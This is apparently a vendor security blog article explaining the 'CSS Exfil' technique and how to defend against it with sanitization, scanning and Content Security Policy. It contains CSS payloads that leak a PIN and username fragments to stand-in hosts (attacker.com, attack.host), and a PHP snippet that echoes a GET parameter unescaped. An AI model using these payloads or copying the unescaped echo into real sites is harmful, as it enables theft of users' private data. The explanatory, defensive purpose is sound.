How you can steal private data through CSS injection

Can private data be stolen by employing a CSS Injection? This article explores cybersecurity expert Mike Gualtieri’s experiments with CSS Exfil and the use of CSS Attribute Selectors. It concludes with a few pointers on how to avoid this type of attack and set up the right Content Security Policy.

How you can steal private data through CSS injection

For several years, modern browsers such as Chrome or Firefox attempted to defend the users of web applications against various attacks. In the case of reflected cross-site scripting (XSS), they did so by using XSS filters that allowed them to block such attacks in many cases. However, these filters turned out to be less and less effective and browsers such as Chrome are slowly turning them off, looking for alternative protection methods.

The way XSS filters work is rather simple. When your web browser issues a request to a website, its inbuilt cross-site scripting filter checks whether:

  • Executable JavaScript is found in the request to a web page, like a <script> block or an HTML element with an inline event handler
  • The same executable JavaScript is found in the response from the server
  • The JavaScript should be executed or not

In theory, this should work well, but it’s easy to circumvent in practice and there is also no client-side protection from stored XSS attacks. To protect the victim’s browser against stored XSS, you can use Content Security Policy (CSP) directives.

Hackers will find ways around all types of web security

A dangerous, if admirable, characteristic of most hackers is that they don’t accept defeat. Some are even pleased when they encounter a web application firewall (WAF). The restrictions they then need to bypass are what makes these challenges so attractive.

Attackers and white-hat hackers alike are forced to get creative when encountering a filter. And they learn more each time they succeed.

So if browsers lock the front door by blocking reflected XSS, malicious hackers will simply investigate whether they can smash some windows instead!

Mike Gualtieri, a cybersecurity expert from Pittsburgh, seems to be the kind of hacker that perfectly matches this description. But he took it one step further, as outlined in the proof-of-concept article: Stealing Data With CSS: Attack and Defense.

As we have already established, Google Chrome attempted to prevent malicious JavaScript from running in the browser because running scripts to steal sensitive information is exactly what many attackers try to do. But what if they don’t actually need JavaScript in order to exfiltrate the data?

Stealing sensitive data with style

JavaScript and HTML are not the only native languages that all major web browsers support. For at least 20 years, Cascading Style Sheets (CSS) has been part of this group. It’s not surprising that CSS has witnessed some major changes since its inception. What started as a way to paint a red dotted border around your div tags became a highly functional language, enabling modern web design with features such as transitions, media queries, and something that can be described as attribute selectors.

Instead of focusing solely on the obvious methods using JavaScript or HTML, Mike Gualtieri found a way to exfiltrate data using malicious CSS without the Google Chrome XSS filter catching him in the act. The key component of the attack, which he called CSS Exfil, is the attribute selectors.

As we’ve already discovered, CSS has evolved over time and become increasingly complex. Did you know, for example, that you could set the color for every link that begins with https://netsparker.com/ on your website to green just by using CSS rules? You can view how easy it is to do on JSFiddle (look, no JavaScript!).

An everyday CSS selector may look similar to this one:

a {
   color: red;
}

This will select all <a> tags and set the color of their link text to red. This doesn’t allow a great degree of flexibility though, and may even interfere with the rest of your web design. It’s possible that you may want to set the color of internal links to a different color than external ones in order to make it easier for visitors to see which link will navigate away from your website. What you can do is create a class like the one below and apply it to all anchor tags that point to internal links:

.internal-link {
   color: green;
}

This is not necessarily an ideal situation; it adds more HTML code and you need to manually check that the correct class has been set for all internal links. Conveniently, CSS provides an easier solution to this problem.

Selecting CSS attributes

CSS attribute selectors enable you to set the color of every link that begins with https://netsparker.com/ to green, for example:

a[href^="https://netsparker.com/"] {
   color: green;
}

This is a nice feature, but what does this have to do with data exfiltration? Well, it’s possible to issue outgoing requests by using the background directive in conjunction with url. If we combine this with an attribute selector, we can easily confirm the existence of certain data within HTML attributes on the page:

<style>
   input[name="pin"][value="1234"] {
      background: url(https://attacker.com/log?pin=1234);
   }
</style>
<input type="password" name="pin" value="1234">

This CSS code will select any input tag that contains the name pin and the value 1234. By injecting the code into the page between the <style> tags, it’s possible to confirm that our guess was correct. If the PIN was 5678, the selector wouldn’t match the input box and no request would be issued to the attacker’s server. This example does not describe the most useful attack out there, but it may be used to deanonymize users.

This is another example of how such exfiltration may work. It is directly taken from Mike Gualtieri’s previously mentioned work.

<html>
<head>
   <style>
       #username[value*="aa"]~#aa{background:url("https://attack.host/aa");}#username[value*="ab"]~#ab{background:url("https://attack.host/ab");}#username[value*="ac"]~#ac{background:url("https://attack.host/ac");}#username[value^="a"]~#a_{background:url("https://attack.host/a_");}#username[value$="a"]~#_a{background:url("https://attack.host/_a");}#username[value*="ba"]~#ba{background:url("https://attack.host/ba");}#username[value*="bb"]~#bb{background:url("https://attack.host/bb");}#username[value*="bc"]~#bc{background:url("https://attack.host/bc");}#username[value^="b"]~#b_{background:url("https://attack.host/b_");}#username[value$="b"]~#_b{background:url("https://attack.host/_b");}#username[value*="ca"]~#ca{background:url("https://attack.host/ca");}#username[value*="cb"]~#cb{background:url("https://attack.host/cb");}#username[value*="cc"]~#cc{background:url("https://attack.host/cc");}#username[value^="c"]~#c_{background:url("https://attack.host/c_");}#username[value$="c"]~#_c{background:url("https://attack.host/_c");}
   </style>
</head>
<body>
   <form>
       Username: <input type="text" id="username" name="username" value="<?php echo $_GET['username']; ?>" />
       <input id="form_submit" type="submit" value="submit"/>
       <a id="aa"><a id="ab"><a id="ac"><a id="a_"><a id="_a"><a id="ba"><a id="bb"><a id="bc"><a id="b_"><a id="_b"><a id="ca"><a id="cb"><a id="cc"><a id="c_"><a id="_c">
   </form>
</body>
</html>

What happens here is that there is a username inside the value field of an input box once the page loads. The above code combining CSS and HTML can actually provide the attacker with a decent amount of information.

If the username begins with a, a request containing a_ will be sent to the attacker’s server. Should it end with b, the server will receive _b. If the username contains ab on the page where the malicious stylesheet is embedded, the browser will issue a request containing ab.

This can become complicated. According to Mike Gualtieri’s calculations, a combination of lower and uppercase characters, numeric characters and 32 symbols might result in a CSS payload that is more than 620 KB in size. It may be possible to extract the data with a smaller payload, if the casing doesn’t matter, by appending the i modifier to the end of the attribute selector. In this case, it’s only necessary to use lowercase letters.

There are a few problems with this method, though, as it requires some prerequisites:

  • The data must be present when the page is loaded so that it’s not possible to live-capture user input using CSS Exfil.
  • There must be enough elements that can be styled using CSS. One element can’t be used for two different exfiltrations. What you can do is use one element to find out the first letter and one element that you exclusively use for the last letter, since there is only one possible first and one possible last letter. However, for all other letters, this is less easy.
  • The elements you use for exfiltration must allow CSS attributes that you can use url on, such as background or list-style, etc.

Also, it isn’t easy to reassemble the data. For example, if you would try to exfiltrate this rather weak password of a fan of the Swedish pop band ABBA, you would run into a serious problem.

abbaabbaabba

This password begins with an a, ends with an a and contains ab, bb, aa, as well as ba. But that doesn’t help you to reassemble the password. There is still much guesswork. You don’t even know for sure how long the password is. abbaa matches this description too, but it’s still not the password we were looking for.

Mike Gualtieri’s blog post gives us much to think about. Even something as simple as a programming language that was only meant to style documents can be abused by clever researchers in order to attack an application. If CSS continues its current development course, it will become even more useful for users – and attackers.

How can you prevent attackers from exploiting a CSS injection vulnerability?

There are a few simple steps you can take to ensure your application is free from bugs that could allow attackers to include arbitrary CSS content:

  1. Apply context-dependent sanitization. This means that you have to use different forms of encoding in different situations: for example, hex encoding within script blocks or HTML entities within other HTML tags. There might be situations where you need to use other forms of sanitization as well, like HTML encoding, or with the help of a white list.
  2. Scan your application with a vulnerability scanner, since the vulnerability is essentially an injection of HTML code that can be detected by most web application security scanners. Just like XSS, this attack requires an injection of code. Netsparker can easily detect the underlying injection vulnerability, which is similar to Cross-Site Scripting.
  3. Implement a proper Content Security Policy (CSP) if you want to be absolutely sure that an attacker can’t abuse this vulnerability, even if you forgot sanitization once. We recommend that you also implement a proper CSP that restricts from where images and stylesheets are allowed to be loaded. This enables you to instruct the user’s browser to only load CSS files from your own domain (not cross-domain) or trusted third parties, which would ensure such an attack would fail.

Each of these recommendations is essential to prevent the vulnerability across your entire code base.

Sven Morgenroth

About the Author

Sven Morgenroth - Senior Security Engineer